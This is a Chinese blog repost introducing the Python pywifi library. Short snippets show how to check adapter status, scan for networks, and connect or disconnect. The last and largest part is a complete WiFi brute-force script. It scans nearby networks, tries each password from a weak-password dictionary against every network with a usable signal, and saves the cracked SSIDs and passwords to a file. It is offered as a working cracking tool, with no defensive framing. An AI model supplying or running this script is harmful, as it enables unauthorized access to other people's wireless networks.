python wifi模块
生活随笔
收集整理的這篇文章主要介紹了
python wifi模块
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
需要pip install pywifi
?
查看無線網卡狀態
from pywifi import const,PyWiFi def test_interfaces():#查看無線網卡是否處于連接狀態wifi=PyWiFi()#創建一個無線對象ifaces=wifi.interfaces()[0]#獲取第一個無線網卡if ifaces.status() in[const.IFACE_CONNECTED,const.IFACE_CONNECTING]:print('無線網卡 %s 已連接!' % ifaces.name())else:print('無線網卡 %s 未連接!' % ifaces.name())if __name__=="__main__":test_interfaces()?
掃描周圍wifi
import pywifidef test_scan():#掃描周圍wifiwifi = pywifi.PyWiFi()#創建一個無線對象iface = wifi.interfaces()[0]#取一個無線網卡iface.scan() #掃描周圍wifibsses=iface.scan_results() #獲取掃描結果for bss in bsses: #打印輸出wifi信息print("wifi名稱: %s" % bss.ssid) #輸出wifi名稱if __name__=="__main__":test_scan()?
斷開無線網卡的wifi連接
from pywifi import PyWiFi,const def test_disconnect():#斷開無線網卡連接wifi=PyWiFi()#創建一個無線對象ifaces=wifi.interfaces()[0] #獲取第一個無線網卡ifaces.disconnect() #斷開無線網卡連接#判斷網卡是否處于斷開狀態if ifaces.status() in [const.IFACE_DISCONNECTED,const.IFACE_INACTIVE]:print('無線網卡 %s 未連接! ' % ifaces.name())else:print('無線網卡 %s 已連接! ' % ifaces.name())if __name__=="__main__":test_disconnect()可以看到wifi圖標已經沒有了
?
連接wifi
這里需要輸入wifi名稱和密碼,創建一個profile后,然后通過這個profile去連接wifi
from pywifi import PyWiFi,const,Profile import time def test_connect(wifi_name,wifi_password):#連接wifiwifi=PyWiFi()#創建一個無線對象iface=wifi.interfaces()[0]#取第一個無線網卡iface.disconnect()#斷開網卡連接time.sleep(3)#緩沖3秒profile_info=Profile()#wifi配置文件profile_info.ssid=wifi_name#wifi名稱profile_info.auth=const.AUTH_ALG_OPEN#需要密碼profile_info.akm.append(const.AKM_TYPE_WPA2PSK)#加密類型profile_info.cipher=const.CIPHER_TYPE_CCMP#加密單元profile_info.key =wifi_password#wifi密碼iface.remove_all_network_profiles()#刪除其他配置文件tmp_profile=iface.add_network_profile(profile_info)#加載配置文件iface.connect(tmp_profile)#連接time.sleep(5)#嘗試5秒能否成功連接if iface.status()==const.IFACE_CONNECTED:print("wifi: %s 連接成功!" % wifi_name)else:print("wifi: %s 連接失敗!" % wifi_name)if __name__=="__main__":test_connect('@PHICOMM_24_5G','*****')?
暴力破解wifi密碼
能不能破解主要看字典
from pywifi import const, PyWiFi, Profile import time# wifi類 class wifi(object):def __init__(self):self.wifi = PyWiFi() #創建一個無線對象self.interfaces = self.wifi.interfaces() #獲取無線網卡接口self.iface = self.interfaces[0] #獲取第一個無線網卡接口# 獲取無線網卡接口def get_wifi_interfaces(self):num = len(self.interfaces)if num <= 0:print(u'未找到無線網卡接口!\n')exit()if num == 1:print(u'無線網卡接口: %s\n' % (self.iface.name()))return self.ifaceelse:print('%-4s %s\n'%(u'序號',u'網卡接口名稱'))for i, w in enumerate(self.interfaces):print('%-4s %s' % (i, w.name()))while True:iface_no = input('請選擇網卡接口序號:'.decode('utf-8').encode('gbk'))no = int(iface_no)if no >= 0 and no < num:return self.interfaces[no]# 查看無線網卡是否處于連接狀態def check_interfaces(self): if self.iface.status() in [const.IFACE_CONNECTED, const.IFACE_CONNECTING]:print('無線網卡:%s 已連接。' % self.iface.name())else:print('無線網卡:%s 未連接。' % self.iface.name())# 掃描周圍wifidef scan_wifi(self):self.iface.scan() #掃描周圍wifitime.sleep(1) #不緩沖顯示不出來result = self.iface.scan_results() #獲取掃描結果,wifi可能會有重復has = [] #初始化已掃描到的wifiwifi_list = [] #初始化掃描結果for i in result:if i not in has: #若has中沒有該wifi,則has.append(i) #添加到has列表if i.signal > -90: #信號強度<-90的wifi幾乎連不上wifi_list.append((i.ssid, i.signal)) #添加到wifi列表print('wifi信號強度:{0},名稱:{1}。'.format(i.signal, i.ssid))#輸出wifi名稱return sorted(wifi_list, key=lambda x:x[1], reverse=True) #按信號強度由高到低排序# 連接wifidef connect_wifi(self, wifi_name, wifi_password):self.iface.disconnect() #斷開無線網卡連接time.sleep(1) #緩沖1秒profile_info = Profile() #wifi配置文件profile_info.ssid = wifi_name #wifi名稱profile_info.auth = const.AUTH_ALG_OPEN #需要密碼profile_info.akm.append(const.AKM_TYPE_WPA2PSK) #加密類型profile_info.cipher = const.CIPHER_TYPE_CCMP #加密單元profile_info.key = wifi_password #wifi密碼self.iface.remove_all_network_profiles() #刪除其他配置文件tmp_profile = self.iface.add_network_profile(profile_info) #加載配置文件self.iface.connect(tmp_profile) #連接#嘗試5秒是否能成功連接(時間過短可能會導致正確密碼尚未連接成功)time.sleep(5) if self.iface.status() == const.IFACE_CONNECTED:print('\n==========================================================================')print('wifi:{0}連接成功,密碼:{1}'.format(wifi_name, wifi_password), end='')print('==========================================================================\n')return Trueelse:print('密碼錯誤:{0}'.format(wifi_password), end='')return False# 斷開無線網卡已連接狀態def disconnect_wifi(self):self.iface.disconnect() if self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]:print('無線網卡:%s 已斷開。' % self.iface.name())else:print('無線網卡:%s 未斷開。' % self.iface.name())if __name__ == '__main__':sf = ['Y', 'y', 'N', 'n']dian = input('是否需要手動點擊破解下一個wifi熱點(Y/N)?').strip()wifi = wifi() #實例化wifi類wifi.get_wifi_interfaces() #獲取網卡接口wifi.check_interfaces() #檢測網卡連接狀態print('\n正在掃描wifi熱點...')wifiList = wifi.scan_wifi() #掃描周圍wifiprint('\n正在破解,時間較長,請耐心等待...')#所有破解成功的wifi名稱及密碼user_pwd = [] # 只能單線程破解,因為只有一個無線網卡,不能同時連接多個wifi熱點for i in wifiList:print('正在破解%s,請耐心等待...' % i[0])start = time.time()with open(r'wifi常用弱口令字典.txt', 'r') as f: for password in f:try:result = wifi.connect_wifi(i[0], password) #嘗試連接wifiif result == True: #若找到密碼,則跳出,避免繼續查找user_pwd.append((i[0], password)) #保存破解成功的wifi及密碼breakexcept:continueend = time.time()shi = end - startprint('破解耗時:%s秒。' % shi)if dian == 'Y' or dian == 'y':xia = input('是否繼續破解(Y/N)?').strip()while xia not in sf:print('輸入錯誤,請重新輸入!')xia = input('是否繼續破解(Y/N)?')if xia == 'Y' or xia == 'y':continueelse:breakprint('\n==========================================================================')print('最終統計結果為:')with open(r'D:/py/wifi.txt', 'a') as pwd:for p in user_pwd:pwd.write('wifi熱點:%s,密碼:%s' % (p[0], p[1]))print(('wifi熱點:%s,密碼:%s' % (p[0], p[1])), end='')print('==========================================================================\n')wifi.disconnect_wifi() #斷開無線網卡已連接狀態?
參考鏈接:
https://blog.csdn.net/qq_38882327/article/details/89349399?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task
https://blog.csdn.net/xiaoxianerqq/article/details/81279425
?
總結
以上是生活随笔為你收集整理的python wifi模块的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 炫酷的表白烟花 html+css+js实
- 下一篇: Python qrcode二维码操作——